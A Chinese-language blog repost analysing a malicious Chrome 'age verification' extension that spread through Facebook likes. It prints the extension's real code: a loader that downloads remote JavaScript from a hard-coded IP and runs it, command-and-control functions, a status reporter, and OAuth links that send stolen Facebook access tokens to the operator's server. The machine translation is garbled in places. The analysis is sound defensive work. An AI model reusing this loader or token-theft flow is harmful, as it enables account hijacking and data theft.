浏览器中的恶意软件:你是如何被chrome扩展黑了的

浏览器中的恶意软件:你是如何被chrome扩展黑了的,第1张

浏览器中的恶意软件:你是如何被chrome扩展黑了的


浏览器在我们的生活中扮演着越来越重要的角色。通过各种网络应用程序,我们将私人数据放在脸书、亚马逊或GMail等在线服务中,这也需要这些在线服务来确保我们的隐私。所以有双因素认证等保护措施,但这仍然是一个薄弱环节:一个恶意的浏览器扩展可以让所有的安全措施形同虚设。

似乎大多数人都不知道浏览器扩展有多激进。他们仍然无法控制,因为目前没有任何安全措施来防止恶意软件的传播——你的杀毒软件根本不起作用。

在本文中,我将分享我发现并调查的一个恶意软件扩展,它感染了我的一个朋友。我想展示这个恶意软件的功能,所以我会在这篇文章中公布所有提取的代码。

发现

在我的脸书上,我注意到一个朋友经常喜欢一些奇怪和淫秽的链接。我发现了一个模式:喜欢同一类型链接的总是同一位朋友。他们总是有近900个赞,没有评论,而链接后面的页面有30个左右的赞。


出于好奇,我决定看看这是什么,于是我点击了一个链接,这是一个巨大的错误。

马上看到一条消息,让我核实年龄再查内容。

因为是这种性质,所以考证年代似乎是合理的。不合理的是,这个验证必须先安装Chrome扩展。


这个扩展是由一个叫做viralands.com的网站提供的。

快速搜索显示,他们还有其他九个明显相同的扩展。这些东西现在已经被移除了,但是我看到的时候,那些扩展总共有132,265个用户。

我决定先看看扩展代码。这是我的发现。


这个扩展列表非常可疑。

您可以从名为manifest.json的扩展清单文件开始,这是一个元数据文件,包含一些扩展信息,如名称、描述、版本号、权限等。

下列权限已被扩展:

一个

2

{

"权限":[

“存储”,

“<所有网址>”,

“选项卡”,

“网络导航”,

"警报"

]

}


安装扩展时,Chrome会给出如下警告:

添加“敏感内容年龄验证”?

它可以:

阅读并更改您访问的网站上的所有数据。

这个扩展似乎只会检查您的年龄,但如果我们继续读取清单文件,我们会发现以下内容:

{              "background": {                           "scripts": [                                        "scripts/query-string.js",                                        "scripts/install.js",                                        "background.js"                           ],                           "persistent": true              },              "content_security_policy": "script-src blob: filesystem: chrome-extension-resource: 'self' 'unsafe-eval'; object-src 'self'" }


所以一般来说,它要连续运行3个脚本(也就是说它们不能被挂起),这样它就可以从各个地方获取数据,存储起来,评估存储的代码是否安全。

我们来看看这三个脚本(background.js、query-string.js和install.js)。

年龄验证是个幌子。

background.js脚本很短。它只会做一件事:安装扩展时,它会打开一个d出消息。

d出来的是一个简单的HTML表单,你可以在里面输入你的生日,然后按“确认”。

但是在年龄验证页面上运行的JavaScript特别有趣:

document.querySelector('#submit').addEventListener('click', function() {              document.querySelector('#box').hidden = true;              document.querySelector('#loading').hidden = false;             
             setTimeout(function() {                           document.querySelector('#loading').hidden = true;                           document.querySelector('#done').hidden = false;              }, (randomIntFromInterval(0, 2) / 2 + 0.5) * 1000); });


是的,如果你点击“验证”,它会显示“加载…”然后提示“完成”。年龄验证完全是假的。


那么这背后隐藏着什么呢?这个扩展还运行另外两个脚本,即query-string.js和install.js

让我们看看,它实际上在做什么?

获取远程负载

query-string.js脚本不重要,它只是NPMpackage的一个副本。

但是你绝对不会相信install.js会做什么!第133行会让你大吃一惊。

varprogramURL='http://104.131.35.136:9999/jsnew.PHP?id=22';


这是一个外部服务器的硬编码变量,用来获取脚本。

提示:它从上面提到的服务器获得的脚本是恶意软件加载。这个扩展需要下载后再安装,因为如果要通过ChromeWebstore的安全检查,是无法加载的。

它从服务器获取一个脚本,然后将其存储在localStorage中并执行它。正如我们所看到的,这发生在getProgram()函数中。

function getProgram(event) {              var xhr = new XMLHttpRequest();              var url = programUrl;              var querySign = url.indexOf('?') === -1 ? '?' : '&';             
             url += querySign + 'r=' + Date.now();             
             xhr.open('GET', url, true);              xhr.setRequestHeader('XYZ-Extension-Id', chrome.runtime.id);             
             xhr.onload = function() {                           var code = xhr.response;                          
                          try {                                        var fn = new window['Function'](code);                                        console.log('Executing loaded code');                                        fn(); // exit if error             
                                       localStorage.setItem('localCode', code);                           } catch (e) {                                        console.error(e);                           }                          
                          xhr.send();              } }


我可以用下面的cURL命令模拟这样的请求。

http://104.131.35.136:9999/jsnew.php?Id=22&;r=1467883037000

我得到了恶意软件的有效载荷,我把它命名为itexternal.js这是一个相当长的文件,有1288行,它可以从外部服务器获取指令。

external.js的开头定义了两个URL:

var ACTIONS_URL = 'http://159.203.99.206/api/get/'; var STATUS_URL = 'http://159.203.99.206/api/status';


第一个URL用于从服务器获取指令,第二个URL用于报告。获取指令的模型被称为命令与控制(简称C&c)进行测试.

我们会发现扩展是如何从C&c服务器获取指令,并查看用getActions()函数定义的inexternal.js:

function getActions(uid) {              var xhr = new XMLHttpRequest();             
             xhr.open('GET', ACTIONS_URL + uid, true);              xhr.responseType = 'json';             
             xhr.onload = function() {                           var data = xhr.response;                           var actions = data && data.actions;                          
                          if (Array.isArray(actions) && actions.length) {                                        checkFBLogin(function(status) {                                                     fbLoginStatus = status;                                                     handleActions(actions);                                        });                           }              };             
             xhr.send(); }


这个uid变量是设备的唯一标识符,由generateUID()生成:

function generateUID() {              var array = new Uint32Array(8);              window.crypto.getRandomValues(array);             
             return [].map.call(array, function(n) {                           return n.toString(16)              }).join(''); }


我运行过一次:

c38AE4EC1d2820BC9e2c03c0Fe517585644576c988a03AE84af63b6D2BC9e7

如果你想得到你自己的指令,你需要创建你自己的UID。为了向服务器模拟发送请求,我运行了一次:

curl-oactions.JSONhttp://159.203.99.206/API/get/c38AE4EC1d2820BC9e2c03c0Fe517585644576c988a03AE84af63b6D2BC9e7

这将返回一个JSON文件,其中列出了扩展将采取的动作。以下是我得到的说明:

{              "actions": [                           {                                        "actionType": "ap",                                        "data": {                                                     "url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions%2Cuser_about_me%2Cuser_actions.books%2Cuser_actions.music%2Cuser_actions.news%2Cuser_actions.video%2Cuser_activities%2Cuser_birthday%2Cuser_education_history%2Cuser_events%2Cuser_games_activity%2Cuser_groups%2Cuser_hometown%2Cuser_interests%2Cuser_likes%2Cuser_location%2Cuser_notes%2Cuser_photos%2Cuser_questions%2Cuser_relationship_details%2Cuser_relationships%2Cuser_religion_politics%2Cuser_status%2Cuser_subscriptions%2Cuser_videos%2Cuser_website%2Cuser_work_history%2Cfriends_about_me%2Cfriends_actions.books%2Cfriends_actions.music%2Cfriends_actions.news%2Cfriends_actions.video%2Cfriends_activities%2Cfriends_birthday%2Cfriends_education_history%2Cfriends_events%2Cfriends_games_activity%2Cfriends_groups%2Cfriends_hometown%2Cfriends_interests%2Cfriends_likes%2Cfriends_location%2Cfriends_notes%2Cfriends_photos%2Cfriends_questions%2Cfriends_relationship_details%2Cfriends_relationships%2Cfriends_religion_politics%2Cfriends_status%2Cfriends_subscriptions%2Cfriends_videos%2Cfriends_website%2Cfriends_work_history%2Cads_management%2Ccreate_event%2Ccreate_note%2Cexport_stream%2Cfriends_online_presence%2Cmanage_friendlists%2Cmanage_notifications%2Cmanage_pages%2Cphoto_upload%2Cpublish_stream%2Cread_friendlists%2Cread_insights%2Cread_mailbox%2Cread_page_mailboxes%2Cread_requests%2Cread_stream%2Crsvp_event%2Cshare_item%2Csms%2Cstatus_update%2Cuser_online_presence%2Cvideo_upload%2Cxmpp_login&response_type=token&client_id=41158896424&_rdr",                                                     "callback": "http://159.203.99.206/api/getToken"                                        }                           },                           {                                        "actionType": "ap",                                        "data": {                                                     "url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions&response_type=token&client_id=241284008322&_rdr",                                                     "callback": "http://159.203.99.206/api/getToken2"                                        }                           },                           {                                        "actionType": "lk",                                        "data": {                                                     "id": "VVideosss"                                        }                           }              ] }


泄露您的访问令牌

前两个 *** 作包含可以窃取您的访问令牌的链接。如果您加载这些链接,扩展将捕获您的访问令牌并将其发送到服务器。

用你的脸书访问令牌,恶意软件运营商将访问你的帐户。他们可以登录,发送和阅读信息,发布状态,链接,评论,文章…这相当于你的登录凭据被盗。

最喜欢的脸书页面

在我下载的说明中,还包括喜欢一个叫VVideosss的页面。

让我们来看看这个页面:

8153喜欢,真的是热门页面!但是有132,265个感染用户,差不了多少吧?

似乎这些页面得到的喜欢都是来自被感染的用户,目前只是一种猜测。

订阅YouTube频道

我没有得到任何订阅YouTube频道的指令,但代码中有一个函数可以做到这一点。

function sendStatus(data) {              chrome.storage.local.get('uid', function(storage) {                           data.id = storage.uid;                           data.extension_id = chrome.runtime.id;                           data.fbLoginStatus = fbLoginStatus;                          
                          var xhr = new XMLHttpRequest();                          
                          xhr.open('POST', STATUS_URL, true);                           xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');                           xhr.send(queryString.stringify(data));                          
                          console.log('Status data has been sent', data);              }); }


将报告发送到服务器

该扩展还可以通过以下功能扩展到C&服务器发送状态报告,:

它向服务器发送三个项目:

1.UID,用于识别受感染机器的ID字符串。

2.扩展ID,对应于扩展的字符串(因为ChromeWebstore有多个副本扩展可用)。

3.受感染的机器目前是否在脸书。

恶意软件运营商将使用这些信息来判断活动的确切规模,并在黑市上销售时将其作为价值的衡量标准。

更多潜在内容

扩展总是在寻找有效载荷的新版本。因为恶意软件可以“读取并更改你在网站上的所有数据”,它的 *** 作者可以知道你浏览器中发生的一切。

他们可以读取你的电子邮件,窃取你所有的登录凭证、比特币、你的姓名,甚至你的xyk信息。

如何才能防止这种情况发生?

我觉得大家应该远离所有的浏览器扩展,虽然它们很有用。

Google可以开始标记值得信任的扩展,这可以通过手动验证扩展或审查开发者的信誉来实现。

开源也是一个好方法:如果一个扩展是开源的,那么你可以发布一个许可证徽章。

但是,目前的状态是ChromeWebstore运行效率不高。

你可以报告一个扩展是恶意的,但只有在至少132,000名用户上当后,这些扩展才被删除。



欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zz/771855.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-03
下一篇 2022-05-03

发表评论

登录后才能评论

评论列表(0条)

保存